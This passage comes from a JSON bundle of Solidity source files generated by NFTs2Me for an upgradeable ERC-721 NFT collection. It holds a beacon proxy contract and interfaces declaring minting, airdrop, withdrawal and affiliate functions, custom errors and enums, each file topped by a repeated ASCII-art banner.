.::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"./N2MUpgradeable.sol\";\n\ncontract N2MERC721Upgradeable is N2MUpgradeable {\n constructor(address factoryAddress) N2MUpgradeable(factoryAddress) {}\n\n function _implementation() internal view override returns (address) {\n return IN2MBeaconFactory(FACTORY_ADDRESS).getERC721Implementation();\n }\n}\n" }, "contracts/beacon/N2MUpgradeable.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@nfts2me/contracts/important/README.sol\";\nimport \"@nfts2me/contracts/interfaces/IN2MBeaconFactory.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\nimport \"../N2MVersion.sol\";\n\nabstract contract N2MUpgradeable is Proxy {\n address internal immutable FACTORY_ADDRESS;\n\n constructor(address factoryAddress) {\n FACTORY_ADDRESS = factoryAddress;\n }\n\n function n2mVersions() external view returns (uint256 implementationVersion, uint256 beaconVersion) {\n implementationVersion = N2MVersion(address(this)).n2mVersion();\n beaconVersion = 1000;\n }\n}\n" }, "contracts/interfaces/IN2M_ERCBase.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol\";\nimport \"./IN2M_ERCStorage.sol\";\n\ninterface IN2M_ERCBase is IERC2981Upgradeable, IN2M_ERCStorage {\n /// @notice To be called to create the collection. Can only be called once.\n function initialize\n (\n string memory tokenName,\n string memory tokenSymbol,\n uint256 iMintPrice,\n bytes32 baseURICIDHash,\n bytes32 placeholderImageCIDHash,\n RevenueAddress[] calldata revenueAddresses,\n address iErc20PaymentAddress,\n uint32 iTotalSupply,\n uint16 iRoyaltyFee,\n bool soulboundCollection,\n MintingType iMintingType\n ) external payable;\n\n /// @notice A descriptive name for a collection of NFTs in this contract\n function name() external view returns (string memory);\n\n /// @notice An abbreviated name for NFTs in this contract\n /// @return the collection symbol\n function symbol() external view returns (string memory);\n\n /// @notice A distinct Uniform Resource Identifier (URI) for a given asset.\n /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC\n /// 3986. The URI may point to a JSON file that conforms to the \"ERC721\n /// Metadata JSON Schema\".\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n /// @notice Mints one NFT to the caller (msg.sender). Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n function mint() external payable;\n\n /// @notice Mints `amount` NFTs to the caller (msg.sender). Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param amount The number of NFTs to mint\n function mint(uint256 amount) external payable;\n\n /// @notice Mints `amount` NFTs to the caller (msg.sender) with a given `affiliate`. Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param amount The number of NFTs to mint\n /// @param affiliate The affiliate address\n function mint(uint256 amount, address affiliate) external payable;\n\n /// @notice Mints `amount` NFTs to `to` address. Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n function mintTo(address to, uint256 amount) external payable;\n\n /// @notice Mints `amount` NFTs to `to` address with a given `affiliate`. Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n /// @param affiliate The affiliate address\n function mintTo(address to, uint256 amount, address affiliate) external payable;\n\n /// @notice Two phases on-chain random minting. Mints `amount` NFTs tickets to `to` address. Requires `minting type` to be `random` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment). Once minted, those tickets must be redeemed for an actual token calling `redeemRandom()`.\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n function mintRandomTo(address to, uint256 amount) external payable; \n\n /// @notice Two phases on-chain random minting. Mints `amount` NFTs tickets to `to` address with a given `affiliate`. Requires `minting type` to be `random` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment). Once minted, those tickets must be redeemed for an actual token calling `redeemRandom()`.\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n /// @param affiliate The affiliate address\n function mintRandomTo(address to, uint256 amount, address affiliate) external payable;\n\n /// @notice Redeems remaining random tickets generated from `msg.sender` by calling `mintRandomTo` for actual NFTs.\n function redeemRandom() external payable;\n\n /// @notice Mints `amount` NFTs to `to` address. Requires `minting type` to be `specify` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param tokenIds An array of the specified tokens. They must not be minted, otherwise, it will revert.\n function mintSpecifyTo(address to, uint256[] memory tokenIds) external payable; \n\n /// @notice Mints `amount` NFTs to `to` address with a given `affiliate`. Requires `minting type` to be `specify` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param tokenIds An array of the specified tokens. They must not be minted, otherwise, it will revert.\n /// @param affiliate The affiliate address\n function mintSpecifyTo(address to, uint256[] memory tokenIds, address affiliate) external payable; \n\n /// @notice Mints one NFT to `to` address. Requires `minting type` to be `customURI`.\n /// @param to The address of the NFTs receiver\n /// @param customURICIDHash The CID of the given token.\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function mintCustomURITo(address to, bytes32 customURICIDHash, bool soulbound) external payable;\n\n /// @notice Only owner can call this function. Free of charge. Mints sizeof(`to`) to `to` addresses. Requires `minting type` to be `sequential`.\n /// @param to The addresses of the NFTs receivers\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function airdropSequential(address[] memory to, bool soulbound) external payable;\n\n /// @notice Only owner can call this function. Free of charge. Mints sizeof(`to`) to `to` addresses with random tokenIds. Requires `minting type` to be `random`.\n /// @param to The addresses of the NFTs receivers\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function airdropRandom(address[] memory to, bool soulbound) external payable;\n\n /// @notice Only owner can call this function. Free of charge. Mints sizeof(`to`) to `to` addresses with specified tokenIds. Requires `minting type` to be `specify`.\n /// @param to The addresses of the NFTs receivers\n /// @param tokenIds An array of the specified tokens. They must not be minted, otherwise, it will revert.\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function airdropSpecify(address[] memory to, uint256[] memory tokenIds, bool soulbound) external payable;\n\n /// @notice Mints `amount` of NFTs to `to` address with optional specified tokenIds. This function must be called only if a valid `signature` is given during a whitelisting/presale.\n /// @param to The addresses of the NFTs receivers\n /// @param tokenIds An optional array of the specified tokens. They must not be minted, otherwise, it will revert. Only used if minting type is `specify`.\n /// @param freeMinting True is minting is free\n /// @param customFee Zero is fee is different from `mintingPrice`.\n /// @param maxAmount Max Amount to be minted with the given `signature`.\n /// @param amount Amount to mint.\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n /// @param signature Valid `signature` for the presale/whitelist.\n function mintPresale (\n address to, \n uint256[] memory tokenIds,\n bool freeMinting, \n uint256 customFee, \n uint256 maxAmount,\n uint256 amount, \n bool soulbound,\n bytes calldata signature) payable external;\n\n /// @notice Returns the minting price of one NFT.\n /// @return Mint price for one NFT in native coin or ERC-20.\n function mintPrice() external view returns (uint256);\n\n /// @notice Returns the current total supply.\n /// @return Current total supply.\n function totalSupply() external view returns (uint256);\n\n /// @notice Max amount of NFTs to be hold per address.\n /// @return Max per address allowed.\n function maxPerAddress() external view returns (uint16);\n\n}\n\n" }, "contracts/interfaces/IN2M_ERCCommon.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"./IN2M_ERCLibrary.sol\";\nimport \"./IN2M_ERCBase.sol\";\n\ninterface IN2M_ERCCommon is IN2M_ERCBase, IN2M_ERCLibrary {\n /// @notice Returns the address of the current collection owner.\n /// @return The address of the owner.\n function owner() external view returns (address);\n}\n\n" }, "contracts/interfaces/IN2M_ERCLibrary.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"./IN2M_ERCStorage.sol\";\n\ninterface IN2M_ERCLibrary is IN2M_ERCStorage {\n function setAndRevealBaseURI(bytes32 baseURICIDHash) external;\n function changeMintPrice(uint256 newMintPrice) external;\n function contractURI() external view returns (string memory);\n function setContractURI(bytes32 newContractURIMetadataCIDHash) external;\n function setAffiliatesPercentageAndDiscount(uint16 userDiscount, uint16 affiliatePercentage, address affiliateAddress) external;\n function affiliateWithdraw(address affiliate) external;\n function withdrawERC20(address erc20Address) external;\n function withdrawERC20Pro(uint256 signatureExpireDate, uint n2mFee, address erc20Address, bytes calldata signature) external;\n function withdraw() external;\n function withdrawPro(uint256 signatureExpireDate, uint256 n2mFee, bytes calldata signature) external;\n function setReverseENSName(address rerverseResolver, string calldata collectionENSName) external;\n function initializeAndSetReverseENSName(address resolver, string calldata collectionENSName) external;\n function changePlaceholderImageCID(bytes32 newPlaceholderImageCIDHash) external;\n function setPhase(SalePhase newPhase) external;\n function setDropDate(uint256 dropDateTimestamp) external;\n function setDropAndEndDate(uint256 dropDateTimestamp, uint256 endDateTimestamp) external;\n function setMaxPerAddress(uint16 newMaxPerAddress) external;\n function isOperatorFilterRegistryEnabled() external view returns (bool);\n function enableOperatorFilterRegistry() external;\n function disableOperatorFilterRegistry() external;\n function collectionSize() external view returns (uint256);\n function randomTickets(address affiliate) external view returns (uint amount, uint blockNumberToReveal);\n function affiliatesInfo(address affiliate) external view returns (bool enabled, uint16 affiliatePercentage, uint16 userDiscount);\n function pendingAffiliateBalance(address affiliate) external view returns (uint256);\n function pendingTotalAffiliatesBalance() external view returns (uint256);\n function royaltyFee() external view returns (uint256);\n function withdrawnAmount() external view returns (uint256);\n function withdrawnERC20Amount(address erc20) external view returns (uint256);\n function erc20PaymentAddress() external view returns (address);\n function currentPhase() external view returns (SalePhase);\n function mintingType() external view returns (MintingType);\n function saleDates() external view returns (uint256 dropDateTimestamp, uint256 endDateTimestamp);\n function isOpen() external view returns (bool);\n function ownerMaxRevenue() external view returns (uint256);\n\n}\n\n" }, "contracts/interfaces/IN2M_ERCStorage.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@nfts2me/contracts/important/README.sol\";\n\ninterface IN2M_ERCStorage is Readme {\n /// @notice This event is emitted when a token is minted using an affiliate\n /// @param affiliate The affiliate address\n event AffiliateSell(address indexed affiliate);\n\n /// @notice Error thrown when trying to mint a token with a given id which is already minted\n error TokenAlreadyMinted();\n\n /// @notice Error thrown when input variable differ in length\n error InvalidInputSizesDontMatch();\n\n /// @notice Error thrown when input variable differ in length\n error InputSizeMismatch();\n\n /// @notice Error thrown when trying to mint a token with a given invalid id\n error InvalidTokenId();\n\n /// @notice Error thrown when trying to redeem random tickets with no amount to redeem\n error NothingToRedeem();\n\n /// @notice Error thrown when trying to redeem random tickets too soon\n error CantRevealYetWaitABitToBeAbleToRedeem();\n\n /// @notice Error thrown when the input amount is not valid\n error InvalidAmount();\n\n /// @notice Error thrown when trying to mint a sold out collection or the amount to mint exceeds the remaining supply\n error CollectionSoldOut();\n\n /// @notice Error thrown when trying to presale/whitelist mint and the collection current phase is `closed`\n error PresaleNotOpen();\n\n /// @notice Error thrown when trying to mint and the collection current phase is not `open`\n error PublicSaleNotOpen();\n\n /// @notice Error thrown when trying to mint but the sale has already finished\n error SaleFinished();\n\n /// @notice Error thrown when trying to mint more than the allowance to mint\n error NotEnoughAmountToMint();\n\n /// @notice Error thrown when sending funds to a free minting\n error InvalidMintFeeForFreeMinting();\n\n /// @notice Error thrown when the sent amount is not valid\n error InvalidMintFee();\n\n /// @notice Royalty fee can't be higher than 10%\n error RoyaltyFeeTooHigh();\n\n /// @notice Invalid input. Total supply must be greater than zero\n error TotalSupplyMustBeGreaterThanZero();\n\n /// @notice Can't set BaseURI and Placeholder at the same time\n error CantSetBaseURIAndPlaceholderAtTheSameTime();\n\n /// @notice No BaseURI nor Placeholder set\n error NoBaseURINorPlaceholderSet();\n\n /// @notice Can't transfer a Soulbound Token (SBT)\n error NonTransferrableSoulboundNFT();\n\n /// @notice The input revenue percentages are not valid\n error InvalidRevenuePercentage();\n\n /// @notice Can't mint until specified drop date\n error WaitUntilDropDate();\n\n /// @notice Trying to use mintPresale method in a collection with a minting type that doesn't support whitelist\n error PresaleInvalidMintingType();\n\n /// @notice Metadata is already fixed. Can't change metadata once fixed\n error MetadataAlreadyFixed();\n\n /// @notice Invalid collection minting type for the current minting function\n error InvalidMintingType();\n\n /// @notice The address exceeded the max per address amount\n error MaxPerAddressExceeded();\n\n /// @notice The given signature doesn't match the input values\n error SignatureMismatch();\n\n /// @notice Reentrancy Guard protection\n error ReentrancyGuard();\n\n /// @notice New Placeholder can't be empty\n error NewPlaceholderCantBeEmpty();\n\n /// @notice New BaseURI can't be empty\n error NewBaseURICantBeEmpty(); \n\n /// @notice Invalid percentage or discount values\n error InvalidPercentageOrDiscountValues();\n\n /// @notice Can't lower current percentages\n error CantLowerCurrentPercentages();\n\n /// @notice Contract MetadataURI already fixed\n error ContractMetadataURIAlreadyFixed();\n\n /// @notice Only owner of N2M can call this function\n error OnlyOwnerOrN2M();\n\n /// @notice Only the given affiliate or N2M can call this function\n error OnlyAffiliateOrN2M();\n\n /// @notice The signature has expired\n error SignatureExpired();\n\n /// @notice Invalid phase can't be set without giving a date, use the proper functions\n error InvalidPhaseWithoutDate();\n\n /// @notice Invalid drop date\n error InvalidDropDate();\n\n /// @notice Operator address is filtered\n error AddressFiltered(address filtered);\n\n struct RandomTicket {\n uint256 amount;\n uint256 blockNumberToReveal;\n }\n\n struct RevenueAddress {\n address to;\n uint16 percentage;\n }\n\n struct AffiliateInformation {\n bool enabled;\n uint16 affiliatePercentage;\n uint16 userDiscount;\n }\n\n enum SalePhase { \n CLOSED,\n PRESALE,\n PUBLIC,\n DROP_DATE,\n DROP_AND_END_DATE\n }\n\n enum MintingType { \n SEQUENTIAL, \n RANDOM, \n SPECIFY, \n CUSTOM_URI \n }\n\n enum OperatorFilterStatus { \n ENABLED_NOT_INITIALIZED, \n ENABLED_EXISTS, \n DISABLED_NOT_INITIALIZED,\n DISABLED_EXISTS \n }\n\n /// @notice Returns true if the metadata is fixed and immutable. If the metadata hasn't been fixed yet it will return false. Once fixed, it can't be changed by anyone.\n function isMetadataFixed() external view returns (bool);\n\n}\n\n" }, "contracts/interfaces/IN2MBeaconFactory.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n 